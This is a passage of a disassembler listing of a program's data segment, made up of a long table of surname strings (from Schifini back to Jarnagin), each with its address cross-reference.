seg002:0042FAF0o align 4 aSchifini db 'Schifini',0 ; DATA XREF: seg002:0042FAECo align 10h aSchiano db 'Schiano',0 ; DATA XREF: seg002:0042FAE8o aScheiner db 'Scheiner',0 ; DATA XREF: seg002:0042FAE4o align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: seg002:0042FAE0o aScharf db 'Scharf',0 ; DATA XREF: seg002:0042FADCo align 4 aScepan db 'Scepan',0 ; DATA XREF: seg002:0042FAD8o align 10h aScarponi db 'Scarponi',0 ; DATA XREF: seg002:0042FAD4o align 4 aSayied db 'Sayied',0 ; DATA XREF: seg002:0042FAD0o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: seg002:0042FACCo aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: seg002:0042FAC8o align 4 aSatta db 'Satta',0 ; DATA XREF: seg002:0042FAC4o align 4 aSatin db 'Satin',0 ; DATA XREF: seg002:0042FAC0o align 4 aSase db 'Sase',0 ; DATA XREF: seg002:0042FABCo align 4 aSartore db 'Sartore',0 ; DATA XREF: seg002:0042FAB8o aSarin db 'Sarin',0 ; DATA XREF: seg002:0042FAB4o align 4 aSapers db 'Sapers',0 ; DATA XREF: seg002:0042FAB0o align 4 aSanna db 'Sanna',0 ; DATA XREF: seg002:0042FAACo align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: seg002:0042FAA8o aSamson db 'Samson',0 ; DATA XREF: seg002:0042FAA4o align 4 aSali db 'Sali',0 ; DATA XREF: seg002:0042FAA0o align 4 aSahu db 'Sahu',0 ; DATA XREF: seg002:0042FA9Co align 4 aSafire db 'Safire',0 ; DATA XREF: seg002:0042FA98o align 4 aSadler db 'Sadler',0 ; DATA XREF: seg002:0042FA94o align 4 aSabatello db 'Sabatello',0 ; DATA XREF: seg002:0042FA90o align 4 aRyu db 'Ryu',0 ; DATA XREF: seg002:0042FA8Co aRush db 'Rush',0 ; DATA XREF: seg002:0042FA88o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: seg002:0042FA84o align 10h aRuderman db 'Ruderman',0 ; DATA XREF: seg002:0042FA80o align 4 aRuan db 'Ruan',0 ; DATA XREF: seg002:0042FA7Co align 4 aRu db 'Ru',0 ; DATA XREF: seg002:0042FA78o align 4 aRoyal db 'Royal',0 ; DATA XREF: seg002:0042FA74o align 10h aRow db 'Row',0 ; DATA XREF: seg002:0042FA70o aRonen db 'Ronen',0 ; DATA XREF: seg002:0042FA6Co align 4 aRogers db 'Rogers',0 ; DATA XREF: seg002:0042FA68o align 4 aRoesler db 'Roesler',0 ; DATA XREF: seg002:0042FA64o aRocha db 'Rocha',0 ; DATA XREF: seg002:0042FA60o align 4 aRobinson db 'Robinson',0 ; DATA XREF: seg002:0042FA5Co align 10h aRivera db 'Rivera',0 ; DATA XREF: seg002:0042FA58o align 4 aRish db 'Rish',0 ; DATA XREF: seg002:0042FA54o align 10h aRineer db 'Rineer',0 ; DATA XREF: seg002:0042FA50o align 4 aRindos db 'Rindos',0 ; DATA XREF: seg002:0042FA4Co align 10h aRielly db 'Rielly',0 ; DATA XREF: seg002:0042FA48o align 4 aRichmond db 'Richmond',0 ; DATA XREF: seg002:0042FA44o align 4 aRhea db 'Rhea',0 ; DATA XREF: seg002:0042FA40o align 4 aResnik db 'Resnik',0 ; DATA XREF: seg002:0042FA3Co align 4 aRepetto db 'Repetto',0 ; DATA XREF: seg002:0042FA38o aRenick db 'Renick',0 ; DATA XREF: seg002:0042FA34o align 4 aRemak db 'Remak',0 ; DATA XREF: seg002:0042FA30o align 4 aReinold db 'Reinold',0 ; DATA XREF: seg002:0042FA2Co aCunningham db 'Cunningham',0 ; DATA XREF: seg002:0042FA28o align 10h aReedquist db 'Reedquist',0 ; DATA XREF: seg002:0042FA24o align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: seg002:0042FA20o align 4 aRayport db 'Rayport',0 ; DATA XREF: seg002:0042FA1Co aRapple db 'Rapple',0 ; DATA XREF: seg002:0042FA18o align 4 aRankin db 'Rankin',0 ; DATA XREF: seg002:0042FA14o align 4 aRangan db 'Rangan',0 ; DATA XREF: seg002:0042FA10o align 4 aRaney db 'Raney',0 ; DATA XREF: seg002:0042FA0Co align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: seg002:0042FA08o aRadeke db 'Radeke',0 ; DATA XREF: seg002:0042FA04o align 4 aRabkin db 'Rabkin',0 ; DATA XREF: seg002:0042FA00o align 10h aRabe db 'Rabe',0 ; DATA XREF: seg002:0042F9FCo align 4 aQuetin db 'Quetin',0 ; DATA XREF: seg002:0042F9F8o align 10h aQuaday db 'Quaday',0 ; DATA XREF: seg002:0042F9F4o align 4 aPynchon db 'Pynchon',0 ; DATA XREF: seg002:0042F9F0o aPugh db 'Pugh',0 ; DATA XREF: seg002:0042F9ECo align 4 aPuccia db 'Puccia',0 ; DATA XREF: seg002:0042F9E8o align 10h aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: seg002:0042F9E4o align 10h aProietti db 'Proietti',0 ; DATA XREF: seg002:0042F9E0o align 4 aPritz db 'Pritz',0 ; DATA XREF: seg002:0042F9DCo align 4 aPritchard db 'Pritchard',0 ; DATA XREF: seg002:0042F9D8o align 10h aPrevost db 'Prevost',0 ; DATA XREF: seg002:0042F9D4o aPreucel db 'Preucel',0 ; DATA XREF: seg002:0042F9D0o aPresper db 'Presper',0 ; DATA XREF: seg002:0042F9CCo aPowers db 'Powers',0 ; DATA XREF: seg002:0042F9C8o align 10h aPoolman db 'Poolman',0 ; DATA XREF: seg002:0042F9C4o aPoma db 'Poma',0 ; DATA XREF: seg002:0042F9C0o align 10h aPolitis db 'Politis',0 ; DATA XREF: seg002:0042F9BCo aPolanyi db 'Polanyi',0 ; DATA XREF: seg002:0042F9B8o aPolak db 'Polak',0 ; DATA XREF: seg002:0042F9B4o align 4 aPoirier db 'Poirier',0 ; DATA XREF: seg002:0042F9B0o aPointer db 'Pointer',0 ; DATA XREF: seg002:0042F9ACo aPoincaire db 'Poincaire',0 ; DATA XREF: seg002:0042F9A8o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: seg002:0042F9A4o align 10h aPo db 'Po',0 ; DATA XREF: seg002:0042F9A0o align 4 aPlous db 'Plous',0 ; DATA XREF: seg002:0042F99Co align 4 aPlasket db 'Plasket',0 ; DATA XREF: seg002:0042F998o aPlant db 'Plant',0 ; DATA XREF: seg002:0042F994o align 4 aPlancon db 'Plancon',0 ; DATA XREF: seg002:0042F990o aPinot db 'Pinot',0 ; DATA XREF: seg002:0042F98Co align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: seg002:0042F988o aPfister db 'Pfister',0 ; DATA XREF: seg002:0042F984o aPettit db 'Pettit',0 ; DATA XREF: seg002:0042F980o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: seg002:0042F97Co align 10h aPetruzello db 'Petruzello',0 ; DATA XREF: seg002:0042F978o align 4 aPeters db 'Peters',0 ; DATA XREF: seg002:0042F974o align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: seg002:0042F970o align 10h aPerone db 'Perone',0 ; DATA XREF: seg002:0042F96Co align 4 aPerna db 'Perna',0 ; DATA XREF: seg002:0042F968o align 10h aPerlman db 'Perlman',0 ; DATA XREF: seg002:0042F964o aPerlak db 'Perlak',0 ; DATA XREF: seg002:0042F960o align 10h aPerko db 'Perko',0 ; DATA XREF: seg002:0042F95Co align 4 aPereira db 'Pereira',0 ; DATA XREF: seg002:0042F958o aPenny db 'Penny',0 ; DATA XREF: seg002:0042F954o align 4 aPeishel db 'Peishel',0 ; DATA XREF: seg002:0042F950o aPederson db 'Pederson',0 ; DATA XREF: seg002:0042F94Co align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: seg002:0042F948o align 4 aPeabody db 'Peabody',0 ; DATA XREF: seg002:0042F944o aPaynter db 'Paynter',0 ; DATA XREF: seg002:0042F940o aPawloski db 'Pawloski',0 ; DATA XREF: seg002:0042F93Co align 4 aPavlon db 'Pavlon',0 ; DATA XREF: seg002:0042F938o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: seg002:0042F934o aPattullo db 'Pattullo',0 ; DATA XREF: seg002:0042F930o align 10h aPatrick db 'Patrick',0 ; DATA XREF: seg002:0042F92Co aPatefield db 'Patefield',0 ; DATA XREF: seg002:0042F928o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: seg002:0042F924o align 10h aPartridge db 'Partridge',0 ; DATA XREF: seg002:0042F920o align 4 aParris db 'Parris',0 ; DATA XREF: seg002:0042F91Co align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: seg002:0042F918o aPaoletti db 'Paoletti',0 ; DATA XREF: seg002:0042F914o align 4 aPantilla db 'Pantilla',0 ; DATA XREF: seg002:0042F910o align 4 aPanizzon db 'Panizzon',0 ; DATA XREF: seg002:0042F90Co align 4 aPanadero db 'Panadero',0 ; DATA XREF: seg002:0042F908o align 10h aPalmitesta db 'Palmitesta',0 ; DATA XREF: seg002:0042F904o align 4 aPallara db 'Pallara',0 ; DATA XREF: seg002:0042F900o aPalepu db 'Palepu',0 ; DATA XREF: seg002:0042F8FCo align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: seg002:0042F8F8o align 4 aPaine db 'Paine',0 ; DATA XREF: seg002:0042F8F4o align 10h aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: seg002:0042F8F0o align 10h aOvid db 'Ovid',0 ; DATA XREF: seg002:0042F8ECo align 4 aOuchida db 'Ouchida',0 ; DATA XREF: seg002:0042F8E8o aOtten db 'Otten',0 ; DATA XREF: seg002:0042F8E4o align 4 aOttaviani db 'Ottaviani',0 ; DATA XREF: seg002:0042F8E0o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: seg002:0042F8DCo align 10h aOspina db 'Ospina',0 ; DATA XREF: seg002:0042F8D8o align 4 aOrsi db 'Orsi',0 ; DATA XREF: seg002:0042F8D4o align 10h aOrfield db 'Orfield',0 ; DATA XREF: seg002:0042F8D0o aOray db 'Oray',0 ; DATA XREF: seg002:0042F8CCo align 10h aOpel db 'Opel',0 ; DATA XREF: seg002:0042F8C8o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: seg002:0042F8C4o aOman db 'Oman',0 ; DATA XREF: seg002:0042F8C0o align 4 aOMalley db 'O',27h,'malley',0 ; DATA XREF: seg002:0042F8BCo align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: seg002:0042F8B8o align 10h aOlson db 'Olson',0 ; DATA XREF: seg002:0042F8B4o align 4 aOlsen db 'Olsen',0 ; DATA XREF: seg002:0042F8B0o align 10h aOldford db 'Oldford',0 ; DATA XREF: seg002:0042F8ACo aOHagan db 'O',27h,'hagan',0 ; DATA XREF: seg002:0042F8A8o aOh db 'Oh',0 ; DATA XREF: seg002:0042F8A4o align 4 aOgata db 'Ogata',0 ; DATA XREF: seg002:0042F8A0o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: seg002:0042F89Co aNuzum db 'Nuzum',0 ; DATA XREF: seg002:0042F898o align 4 aNotman db 'Notman',0 ; DATA XREF: seg002:0042F894o align 4 aNitabach db 'Nitabach',0 ; DATA XREF: seg002:0042F890o align 10h aNisenson db 'Nisenson',0 ; DATA XREF: seg002:0042F88Co align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: seg002:0042F888o align 4 aNickerson db 'Nickerson',0 ; DATA XREF: seg002:0042F884o align 4 aNi_0 db 'Ni',0 ; DATA XREF: seg002:0042F880o align 4 aNg db 'Ng',0 ; DATA XREF: seg002:0042F87Co align 4 aNewlin db 'Newlin',0 ; DATA XREF: seg002:0042F878o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: seg002:0042F874o aNeuman db 'Neuman',0 ; DATA XREF: seg002:0042F870o align 4 aNesci db 'Nesci',0 ; DATA XREF: seg002:0042F86Co align 4 aNenna db 'Nenna',0 ; DATA XREF: seg002:0042F868o align 4 aNelson db 'Nelson',0 ; DATA XREF: seg002:0042F864o align 4 aNayduch db 'Nayduch',0 ; DATA XREF: seg002:0042F860o aNaviaux db 'Naviaux',0 ; DATA XREF: seg002:0042F85Co aNardone db 'Nardone',0 ; DATA XREF: seg002:0042F858o aNardi db 'Nardi',0 ; DATA XREF: seg002:0042F854o align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: seg002:0042F850o align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: seg002:0042F84Co align 10h aMussachio db 'Mussachio',0 ; DATA XREF: seg002:0042F848o align 4 aMumford db 'Mumford',0 ; DATA XREF: seg002:0042F844o aMulroy db 'Mulroy',0 ; DATA XREF: seg002:0042F840o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: seg002:0042F83Co aMugnai db 'Mugnai',0 ; DATA XREF: seg002:0042F838o align 4 aMuello db 'Muello',0 ; DATA XREF: seg002:0042F834o align 4 aMudarri db 'Mudarri',0 ; DATA XREF: seg002:0042F830o aMotooka db 'Motooka',0 ; DATA XREF: seg002:0042F82Co aMostafavi db 'Mostafavi',0 ; DATA XREF: seg002:0042F828o align 10h aMosler db 'Mosler',0 ; DATA XREF: seg002:0042F824o align 4 aMosher db 'Mosher',0 ; DATA XREF: seg002:0042F820o align 10h aMortimer db 'Mortimer',0 ; DATA XREF: seg002:0042F81Co align 4 aMorrow db 'Morrow',0 ; DATA XREF: seg002:0042F818o align 4 aMorrison db 'Morrison',0 ; DATA XREF: seg002:0042F814o align 10h aMoreton db 'Moreton',0 ; DATA XREF: seg002:0042F810o aMorani db 'Morani',0 ; DATA XREF: seg002:0042F80Co align 10h aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: seg002:0042F808o align 4 aMontilio db 'Montilio',0 ; DATA XREF: seg002:0042F804o align 4 aMonque db 'Monque',0 ; DATA XREF: seg002:0042F800o align 10h aMoiamedi db 'Moiamedi',0 ; DATA XREF: seg002:0042F7FCo align 4 aMohr db 'Mohr',0 ; DATA XREF: seg002:0042F7F8o align 4 aMoeller db 'Moeller',0 ; DATA XREF: seg002:0042F7F4o aModestino db 'Modestino',0 ; DATA XREF: seg002:0042F7F0o align 4 aMocroft db 'Mocroft',0 ; DATA XREF: seg002:0042F7ECo aMittal db 'Mittal',0 ; DATA XREF: seg002:0042F7E8o align 4 aMitropoulos db 'Mitropoulos',0 ; DATA XREF: seg002:0042F7E4o aGonzalez db 'Gonzalez',0 ; DATA XREF: seg002:0042F7E0o align 10h aMinichiello db 'Minichiello',0 ; DATA XREF: seg002:0042F7DCo aMini db 'Mini',0 ; DATA XREF: seg002:0042F7D8o align 4 aMinh db 'Minh',0 ; DATA XREF: seg002:0042F7D4o align 4 aMills db 'Mills',0 ; DATA XREF: seg002:0042F7D0o align 4 aMieher db 'Mieher',0 ; DATA XREF: seg002:0042F7CCo align 4 aMiddle db 'Middle',0 ; DATA XREF: seg002:0042F7C8o align 4 aMichelman db 'Michelman',0 ; DATA XREF: seg002:0042F7C4o align 10h aMeurer db 'Meurer',0 ; DATA XREF: seg002:0042F7C0o align 4 aMetropolis db 'Metropolis',0 ; DATA XREF: seg002:0042F7BCo align 4 aMetelka db 'Metelka',0 ; DATA XREF: seg002:0042F7B8o aMerz db 'Merz',0 ; DATA XREF: seg002:0042F7B4o align 4 aMerseth db 'Merseth',0 ; DATA XREF: seg002:0042F7B0o aMerminod db 'Merminod',0 ; DATA XREF: seg002:0042F7ACo align 4 aMerlani db 'Merlani',0 ; DATA XREF: seg002:0042F7A8o aMerikoski db 'Merikoski',0 ; DATA XREF: seg002:0042F7A4o align 4 aMenzies db 'Menzies',0 ; DATA XREF: seg002:0042F7A0o aMemisoglu db 'Memisoglu',0 ; DATA XREF: seg002:0042F79Co align 10h aMeccariello db 'Meccariello',0 ; DATA XREF: seg002:0042F798o aMcnulty db 'Mcnulty',0 ; DATA XREF: seg002:0042F794o aMcnealy db 'Mcnealy',0 ; DATA XREF: seg002:0042F790o aMclaren db 'Mclaren',0 ; DATA XREF: seg002:0042F78Co aMclane db 'Mclane',0 ; DATA XREF: seg002:0042F788o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: seg002:0042F784o aMcintosh db 'Mcintosh',0 ; DATA XREF: seg002:0042F780o align 10h aMcilroy db 'McIlroy',0 ; DATA XREF: seg002:0042F77Co aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: seg002:0042F778o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: seg002:0042F774o align 4 aMcfadden db 'McFadden',0 ; DATA XREF: seg002:0042F770o align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: seg002:0042F76Co aMcdowell db 'Mcdowell',0 ; DATA XREF: seg002:0042F768o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: seg002:0042F764o align 4 aMccall db 'Mccall',0 ; DATA XREF: seg002:0042F760o align 10h aMccaffery db 'Mccaffery',0 ; DATA XREF: seg002:0042F75Co align 4 aMcbride db 'Mcbride',0 ; DATA XREF: seg002:0042F758o aMazziotta db 'Mazziotta',0 ; DATA XREF: seg002:0042F754o align 10h aMazzali db 'Mazzali',0 ; DATA XREF: seg002:0042F750o aMay db 'May',0 ; DATA XREF: seg002:0042F74Co aMauzy db 'Mauzy',0 ; DATA XREF: seg002:0042F748o align 4 aMattson db 'Mattson',0 ; DATA XREF: seg002:0042F744o aMatsukata db 'Matsukata',0 ; DATA XREF: seg002:0042F740o align 4 aMatarazzo db 'Matarazzo',0 ; DATA XREF: seg002:0042F73Co align 4 aMatalka db 'Matalka',0 ; DATA XREF: seg002:0042F738o aMass db 'Mass',0 ; DATA XREF: seg002:0042F734o align 4 aMarubini db 'Marubini',0 ; DATA XREF: seg002:0042F730o align 10h aMarton db 'Marton',0 ; DATA XREF: seg002:0042F72Co align 4 aMartochio db 'Martochio',0 ; DATA XREF: seg002:0042F728o align 4 aMartinez db 'Martinez',0 ; DATA XREF: seg002:0042F724o align 10h aMarques db 'Marques',0 ; DATA XREF: seg002:0042F720o aMargetts db 'Margetts',0 ; DATA XREF: seg002:0042F71Co align 4 aMargalit db 'Margalit',0 ; DATA XREF: seg002:0042F718o align 10h aMarcus db 'Marcus',0 ; DATA XREF: seg002:0042F714o align 4 aMarchbanks db 'Marchbanks',0 ; DATA XREF: seg002:0042F710o align 4 aMarch db 'March',0 ; DATA XREF: seg002:0042F70Co align 4 aMantovan db 'Mantovan',0 ; DATA XREF: seg002:0042F708o align 4 aManganiello db 'Manganiello',0 ; DATA XREF: seg002:0042F704o aMandel db 'Mandel',0 ; DATA XREF: seg002:0042F700o align 4 aManalis db 'Manalis',0 ; DATA XREF: seg002:0042F6FCo aMalova db 'Malova',0 ; DATA XREF: seg002:0042F6F8o align 4 aMaller db 'Maller',0 ; DATA XREF: seg002:0042F6F4o align 4 aMalatesta db 'Malatesta',0 ; DATA XREF: seg002:0042F6F0o align 10h aMaisano db 'Maisano',0 ; DATA XREF: seg002:0042F6ECo aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: seg002:0042F6E8o align 4 aMaier db 'Maier',0 ; DATA XREF: seg002:0042F6E4o align 10h aMahony db 'Mahony',0 ; DATA XREF: seg002:0042F6E0o align 4 aMaggio db 'Maggio',0 ; DATA XREF: seg002:0042F6DCo align 10h aMadigan db 'Madigan',0 ; DATA XREF: seg002:0042F6D8o aMacy db 'Macy',0 ; DATA XREF: seg002:0042F6D4o align 10h aMacmillan db 'MacMillan',0 ; DATA XREF: seg002:0042F6D0o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: seg002:0042F6CCo align 4 aMacintyre db 'Macintyre',0 ; DATA XREF: seg002:0042F6C8o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: seg002:0042F6C4o align 10h aMacdonald db 'Macdonald',0 ; DATA XREF: seg002:0042F6C0o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: seg002:0042F6BCo align 4 aMa db 'Ma',0 ; DATA XREF: seg002:0042F6B8o align 4 aLuzader db 'Luzader',0 ; DATA XREF: seg002:0042F6B4o aLutcavage db 'Lutcavage',0 ; DATA XREF: seg002:0042F6B0o align 10h aLussier db 'Lussier',0 ; DATA XREF: seg002:0042F6ACo aLuoma db 'Luoma',0 ; DATA XREF: seg002:0042F6A8o align 10h aLunetta db 'Lunetta',0 ; DATA XREF: seg002:0042F6A4o aLuecke db 'Luecke',0 ; DATA XREF: seg002:0042F6A0o align 10h aLuczkow db 'Luczkow',0 ; DATA XREF: seg002:0042F69Co aLuciano db 'Luciano',0 ; DATA XREF: seg002:0042F698o aLucas db 'Lucas',0 ; DATA XREF: seg002:0042F694o align 4 aLubin db 'Lubin',0 ; DATA XREF: seg002:0042F690o align 10h aLoza db 'Loza',0 ; DATA XREF: seg002:0042F68Co align 4 aLowenstein db 'Lowenstein',0 ; DATA XREF: seg002:0042F688o align 4 aLoveman db 'Loveman',0 ; DATA XREF: seg002:0042F684o aLoss db 'Loss',0 ; DATA XREF: seg002:0042F680o align 4 aLongworth db 'Longworth',0 ; DATA XREF: seg002:0042F67Co align 10h aLocatelli db 'Locatelli',0 ; DATA XREF: seg002:0042F678o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: seg002:0042F674o aLivolsi db 'Livolsi',0 ; DATA XREF: seg002:0042F670o aLivi db 'Livi',0 ; DATA XREF: seg002:0042F66Co align 4 aLivernash db 'Livernash',0 ; DATA XREF: seg002:0042F668o align 10h aLitvak db 'Litvak',0 ; DATA XREF: seg002:0042F664o align 4 aLittle db 'Little',0 ; DATA XREF: seg002:0042F660o align 10h aLipponen db 'Lipponen',0 ; DATA XREF: seg002:0042F65Co align 4 aLippmann db 'Lippmann',0 ; DATA XREF: seg002:0042F658o align 4 aLinzee db 'Linzee',0 ; DATA XREF: seg002:0042F654o align 10h aLinehan db 'Linehan',0 ; DATA XREF: seg002:0042F650o aLine db 'Line',0 ; DATA XREF: seg002:0042F64Co align 10h aLinder db 'Linder',0 ; DATA XREF: seg002:0042F648o align 4 aLinda db 'Linda',0 ; DATA XREF: seg002:0042F644o align 10h aLinares db 'Linares',0 ; DATA XREF: seg002:0042F640o aLim db 'Lim',0 ; DATA XREF: seg002:0042F63Co aLightfoot db 'Lightfoot',0 ; DATA XREF: seg002:0042F638o align 4 aLight db 'Light',0 ; DATA XREF: seg002:0042F634o align 10h aLiem db 'Liem',0 ; DATA XREF: seg002:0042F630o align 4 aLidano db 'Lidano',0 ; DATA XREF: seg002:0042F62Co align 10h aLiakos db 'Liakos',0 ; DATA XREF: seg002:0042F628o align 4 aLessi db 'Lessi',0 ; DATA XREF: seg002:0042F624o align 10h aLesser db 'Lesser',0 ; DATA XREF: seg002:0042F620o align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: seg002:0042F61Co align 4 aLenard db 'Lenard',0 ; DATA XREF: seg002:0042F618o align 4 aLeite db 'Leite',0 ; DATA XREF: seg002:0042F614o align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: seg002:0042F610o align 10h aLecce db 'Lecce',0 ; DATA XREF: seg002:0042F60Co align 4 aLecar db 'Lecar',0 ; DATA XREF: seg002:0042F608o align 10h aLawless db 'Lawless',0 ; DATA XREF: seg002:0042F604o aLashley db 'Lashley',0 ; DATA XREF: seg002:0042F600o aLaserna db 'Laserna',0 ; DATA XREF: seg002:0042F5FCo aLanzit db 'Lanzit',0 ; DATA XREF: seg002:0042F5F8o align 10h aLantieri db 'Lantieri',0 ; DATA XREF: seg002:0042F5F4o align 4 aLankes db 'Lankes',0 ; DATA XREF: seg002:0042F5F0o align 4 aLandes db 'Landes',0 ; DATA XREF: seg002:0042F5ECo align 4 aLallemant db 'Lallemant',0 ; DATA XREF: seg002:0042F5E8o align 4 aLaing db 'Laing',0 ; DATA XREF: seg002:0042F5E4o align 10h aLafler db 'Lafler',0 ; DATA XREF: seg002:0042F5E0o align 4 aLabunka db 'Labunka',0 ; DATA XREF: seg002:0042F5DCo aLa db 'La',0 ; DATA XREF: seg002:0042F5D8o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: seg002:0042F5D4o align 10h aKusman db 'Kusman',0 ; DATA XREF: seg002:0042F5D0o align 4 aKumar db 'Kumar',0 ; DATA XREF: seg002:0042F5CCo align 10h aKuenzli db 'Kuenzli',0 ; DATA XREF: seg002:0042F5C8o aKrysiak db 'Krysiak',0 ; DATA XREF: seg002:0042F5C4o aKroemer db 'Kroemer',0 ; DATA XREF: seg002:0042F5C0o aKraus db 'Kraus',0 ; DATA XREF: seg002:0042F5BCo align 10h aKrasney db 'Krasney',0 ; DATA XREF: seg002:0042F5B8o aKrailo db 'Krailo',0 ; DATA XREF: seg002:0042F5B4o align 10h aKraemer db 'Kraemer',0 ; DATA XREF: seg002:0042F5B0o aKovaks db 'Kovaks',0 ; DATA XREF: seg002:0042F5ACo align 10h aKotter db 'Kotter',0 ; DATA XREF: seg002:0042F5A8o align 4 aKorzybski db 'Korzybski',0 ; DATA XREF: seg002:0042F5A4o align 4 aKool db 'Kool',0 ; DATA XREF: seg002:0042F5A0o align 4 aKonrad db 'Konrad',0 ; DATA XREF: seg002:0042F59Co align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: seg002:0042F598o align 10h aKommer db 'Kommer',0 ; DATA XREF: seg002:0042F594o align 4 aKoivumaki db 'Koivumaki',0 ; DATA XREF: seg002:0042F590o align 4 aKohn db 'Kohn',0 ; DATA XREF: seg002:0042F58Co align 4 aKoch db 'Koch',0 ; DATA XREF: seg002:0042F588o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: seg002:0042F584o aKnuff db 'Knuff',0 ; DATA XREF: seg002:0042F580o align 4 aKlint db 'Klint',0 ; DATA XREF: seg002:0042F57Co align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: seg002:0042F578o aKling db 'Kling',0 ; DATA XREF: seg002:0042F574o align 10h aKlemperer db 'Klemperer',0 ; DATA XREF: seg002:0042F570o align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: seg002:0042F56Co aKleiman db 'Kleiman',0 ; DATA XREF: seg002:0042F568o aKleckner db 'Kleckner',0 ; DATA XREF: seg002:0042F564o align 4 aKittridge db 'Kittridge',0 ; DATA XREF: seg002:0042F560o align 4 aKirscht db 'Kirscht',0 ; DATA XREF: seg002:0042F55Co aKippenberger db 'Kippenberger',0 ; DATA XREF: seg002:0042F558o align 10h aKinsley db 'Kinsley',0 ; DATA XREF: seg002:0042F554o aKindall db 'Kindall',0 ; DATA XREF: seg002:0042F550o aKimura db 'Kimura',0 ; DATA XREF: seg002:0042F54Co align 4 aKimmett db 'Kimmett',0 ; DATA XREF: seg002:0042F548o aKimmel db 'Kimmel',0 ; DATA XREF: seg002:0042F544o align 4 aKhong db 'Khong',0 ; DATA XREF: seg002:0042F540o align 10h aKeul db 'Keul',0 ; DATA XREF: seg002:0042F53Co align 4 aKerry db 'Kerry',0 ; DATA XREF: seg002:0042F538o align 10h aKendall db 'Kendall',0 ; DATA XREF: seg002:0042F534o aKemsley db 'Kemsley',0 ; DATA XREF: seg002:0042F530o aKempton db 'Kempton',0 ; DATA XREF: seg002:0042F52Co aKelsey db 'Kelsey',0 ; DATA XREF: seg002:0042F528o align 10h aKelker db 'Kelker',0 ; DATA XREF: seg002:0042F524o align 4 aKeith db 'Keith',0 ; DATA XREF: seg002:0042F520o align 10h aKeepper db 'Keepper',0 ; DATA XREF: seg002:0042F51Co aKeenan db 'Keenan',0 ; DATA XREF: seg002:0042F518o align 10h aKee db 'Kee',0 ; DATA XREF: seg002:0042F514o aKawachi db 'Kawachi',0 ; DATA XREF: seg002:0042F510o aKasten db 'Kasten',0 ; DATA XREF: seg002:0042F50Co align 4 aKassower db 'Kassower',0 ; DATA XREF: seg002:0042F508o align 10h aKarpouzes db 'Karpouzes',0 ; DATA XREF: seg002:0042F504o align 4 aKangis db 'Kangis',0 ; DATA XREF: seg002:0042F500o align 4 aKamel db 'Kamel',0 ; DATA XREF: seg002:0042F4FCo align 4 aKalman db 'Kalman',0 ; DATA XREF: seg002:0042F4F8o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: seg002:0042F4F4o align 10h aKalil db 'Kalil',0 ; DATA XREF: seg002:0042F4F0o align 4 aKaligian db 'Kaligian',0 ; DATA XREF: seg002:0042F4ECo align 4 aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: seg002:0042F4E8o aKafadar db 'Kafadar',0 ; DATA XREF: seg002:0042F4E4o aKaboolian db 'Kaboolian',0 ; DATA XREF: seg002:0042F4E0o align 4 aKabbash db 'Kabbash',0 ; DATA XREF: seg002:0042F4DCo aJulious db 'Julious',0 ; DATA XREF: seg002:0042F4D8o aJuliano db 'Juliano',0 ; DATA XREF: seg002:0042F4D4o aJucks db 'Jucks',0 ; DATA XREF: seg002:0042F4D0o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: seg002:0042F4CCo align 10h aJolly db 'Jolly',0 ; DATA XREF: seg002:0042F4C8o align 4 aJohns db 'Johns',0 ; DATA XREF: seg002:0042F4C4o align 10h aJohannsen db 'Johannsen',0 ; DATA XREF: seg002:0042F4C0o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: seg002:0042F4BCo aJewett db 'Jewett',0 ; DATA XREF: seg002:0042F4B8o align 10h aJespersen db 'Jespersen',0 ; DATA XREF: seg002:0042F4B4o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: seg002:0042F4B0o aJellis db 'Jellis',0 ; DATA XREF: seg002:0042F4ACo align 4 aJeffers db 'Jeffers',0 ; DATA XREF: seg002:0042F4A8o aJay db 'Jay',0 ; DATA XREF: seg002:0042F4A4o aJarrell db 'Jarrell',0 ; DATA XREF: seg002:0042F4A0o aJarnagin db 'Jarnagin',0 ; 